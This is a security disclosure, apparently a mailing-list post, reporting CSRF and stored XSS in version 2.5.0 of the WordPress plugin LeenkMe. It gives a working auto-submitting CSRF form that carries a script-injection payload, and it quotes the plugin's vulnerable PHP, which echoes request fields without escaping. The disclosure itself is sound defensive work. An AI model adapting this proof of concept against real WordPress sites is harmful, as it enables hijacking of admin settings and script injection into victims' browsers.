I would like to disclose CSRF and stored XSS vulnerability in Wordpress
plugin LeenkMe version 2.5.0.
The plugin can be found at https://wordpress.org/plugins/leenkme/
In the page wp-content/plugins/leenkme/facebook.php
XSS vulnerable Fields are :
- facebook_message
- facebook_linkname
- facebook_caption
- facebook_description
- default_image
- _wp_http_referer
This CSRF is tested on latest wordpress installation 4.4.2 using firefox
browser.
The Code for CSRF.html is
<html>
<body onload="document.forms['xss'].submit()" >
<form name="xss" action="
http://127.0.0.1/wp/wp-admin/admin.php?page=leenkme_facebook" method="POST">
<input type="hidden" name="facebook_profile" value="on" />
<input type="hidden" name="fb_publish_wpnonce" value="" />
<input type="hidden" name="_wp_http_referer" value="XSS" />
<input type="hidden" name="facebook_message" value="XSS" />
<input type="hidden" name="facebook_linkname" value="XSS" />
<input type="hidden" name="facebook_caption" value="XSS" />
<input type="hidden" name="facebook_description" value="
</textarea><script>prompt();</script>" />
<input type="hidden" name="default_image" value="XSS" />
<input type="hidden" name="message_preference" value="author" />
<input type="hidden" name="clude" value="in" />
<input type="hidden" name="publish_cats[]" value="0" />
<input type="hidden" name="update_facebook_settings"
value="Save Settings" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
The vulnerable page is
wp-content/plugins/leenkme/facebook.php
The vulnerable code producing XSS is
if ( !empty( $_REQUEST['facebook_message'] ) )
$user_settings['facebook_message'] = $_REQUEST['facebook_message'];
else
$user_settings['facebook_message'] = '';
if ( !empty( $_REQUEST['facebook_linkname'] ) )
$user_settings['facebook_linkname'] = $_REQUEST['facebook_linkname'];
else
$user_settings['facebook_linkname'] = '';
if ( !empty( $_REQUEST['facebook_caption'] ) )
$user_settings['facebook_caption'] = $_REQUEST['facebook_caption'];
else
$user_settings['facebook_caption'] = '';
if ( !empty( $_REQUEST['facebook_description'] ) )
$user_settings['facebook_description'] = $_REQUEST['facebook_description'];
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<td><textarea name="facebook_message" style="width: 500px;"
maxlength="400"><?php
echo $user_settings['facebook_message']; ?></textarea></td>
</tr>
<tr>
<td><?php _e( 'Default Link Name:', 'leenkme'
); ?></td>
<td><input name="facebook_linkname"
type="text" style="width: 500px;" value="<?php echo
$user_settings['facebook_linkname']; ?>" maxlength="100"/></td>
</tr>
<tr>
<td><?php _e( 'Default Caption:', 'leenkme' );
?></td>
<td><input name="facebook_caption"
type="text" style="width: 500px;" value="<?php echo
$user_settings['facebook_caption']; ?>" maxlength="100"/></td>
</tr>
<tr>
<td style='vertical-align: top; padding-top:
5px;'><?php _e( 'Default Description:', 'leenkme' ); ?></td>
<td><textarea name="facebook_description"
style="width: 500px;" maxlength="300"><?php echo
$user_settings['facebook_description']; ?></textarea></td>
The code used to protect against CSRF that is the anti csrf token used is
<?php wp_nonce_field( 'fb_publish', 'fb_publish_wpnonce' ); ?>
But this code is not protecting against the CSRF, the form get submitted
successfully with out any error even though the fb_publish_wpnonce is kept
empty resulting in CSRF vulnerability.
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